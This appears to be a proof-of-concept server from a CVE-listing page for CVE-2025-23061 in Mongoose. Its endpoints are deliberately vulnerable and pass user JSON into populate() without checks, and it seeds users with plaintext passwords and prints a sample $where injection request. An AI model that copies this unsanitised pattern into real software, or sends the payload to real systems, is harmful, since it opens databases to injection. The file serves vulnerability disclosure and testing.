4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / server.js JS
const express = require('express');
const mongoose = require('mongoose');
const app = express();

const debug = require('debug')('cve-2025-23061-server');

app.use(express.json());
app.use(express.urlencoded({ extended: true }));

// MongoDB connection
const MONGODB_URI = process.env.MONGODB_URI || 'mongodb://localhost:27017/mongoose_cve_poc';

const mongooseOptions = {
  useNewUrlParser: true,
  useUnifiedTopology: true,
};

// Add authentication if credentials are in the URI
if (MONGODB_URI.includes('@')) {
  mongooseOptions.authSource = 'admin';
}

mongoose.connect(MONGODB_URI, mongooseOptions)
  .then(() => {
    console.log('✓ Connected to MongoDB');
    debug('Connected to:', MONGODB_URI);
  })
  .catch(err => {
    console.error('✗ MongoDB connection error:', err.message);
    debug('Full error:', err);
  });

// Define schemas
const userSchema = new mongoose.Schema({
  username: String,
  email: String,
  isAdmin: Boolean,
  password: String
});

const postSchema = new mongoose.Schema({
  title: String,
  content: String,
  authorId: mongoose.Schema.Types.ObjectId,
  published: Boolean
});

const User = mongoose.model('User', userSchema);
const Post = mongoose.model('Post', postSchema);

// Setup association
postSchema.virtual('author', {
  ref: 'User',
  localField: 'authorId',
  foreignField: '_id',
  justOne: true
});

postSchema.set('toObject', { virtuals: true });
postSchema.set('toJSON', { virtuals: true });

// VULNERABLE ENDPOINT
// This endpoint is vulnerable to CVE-2025-23061
// The populate() match parameter doesn't properly sanitize $where operators
// when nested within logical operators like $and, $or, etc.
app.get('/posts', async (req, res) => {
  try {
    const { authorMatch } = req.query;
    
    let matchQuery = {};
    
    // VULNERABLE: User input is directly used in populate match
    if (authorMatch) {
      try {
        matchQuery = JSON.parse(authorMatch);
      } catch (e) {
        return res.status(400).json({ error: 'Invalid JSON in authorMatch' });
      }
    }
    
    const posts = await Post.find()
      .populate({
        path: 'author',
        match: matchQuery,
        select: 'username email isAdmin'
      })
      .lean();
    
    res.json(posts);
  } catch (error) {
    console.error('Error:', error);
    res.status(500).json({ error: error.message });
  }
});


app.get('/posts-2', async (req, res) => {
  try {
    let { query } = req.query;
    debug('Received query:', query);
    query = JSON.parse(query);
    // This is vulnerable! The matchQuery with nested $where is not properly sanitized
    console.time('QueryTime');
    const posts = await Post.find()
      .populate(query)
      .lean();
    console.timeEnd('QueryTime');
    
    res.json(posts);
  } catch (error) {
    console.error('Error:', error);
    res.status(500).json({ error: error.message });
  }
});

// Additional endpoint to show the vulnerability with direct JSON body
app.post('/posts/search', async (req, res) => {
  try {
    const { authorMatch } = req.body;
    
    let matchQuery = {};
    if (authorMatch) {
      matchQuery = authorMatch;
    }
    
    const posts = await Post.find()
      .populate({
        path: 'author',
        match: matchQuery,  // VULNERABLE
        select: 'username email isAdmin'
      })
      .lean();
    
    res.json(posts);
  } catch (error) {
    console.error('Error:', error);
    res.status(500).json({ error: error.message });
  }
});

// Setup endpoint - creates test data
app.post('/setup', async (req, res) => {
  try {
    // Clear existing data
    await User.deleteMany({});
    await Post.deleteMany({});
    
    // Create admin user
    const admin = await User.create({
      username: 'admin',
      email: '[email protected]',
      isAdmin: true,
      password: 'secretpassword123'
    });
    
    // Create regular user
    const user1 = await User.create({
      username: 'user1',
      email: '[email protected]',
      isAdmin: false,
      password: 'password123'
    });
    
    // Create posts
    await Post.create([
      {
        title: 'Admin Post',
        content: 'This is an admin post',
        authorId: admin._id,
        published: true
      },
      {
        title: 'User Post',
        content: 'This is a regular user post',
        authorId: user1._id,
        published: true
      }
    ]);
    
    res.json({ message: 'Test data created successfully' });
  } catch (error) {
    console.error('Error:', error);
    res.status(500).json({ error: error.message });
  }
});

// Health check
app.get('/health', (req, res) => {
  res.json({ status: 'ok', mongooseVersion: mongoose.version });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  debug(`Server running on http://localhost:${PORT}`);
  debug(`Mongoose version: ${mongoose.version}`);
  debug(`\nVulnerable endpoint: GET /posts?authorMatch=<json>`);
  debug(`Setup endpoint: POST /setup`);
  debug(`\nExample exploit:`);
  debug(`GET /posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}`);
});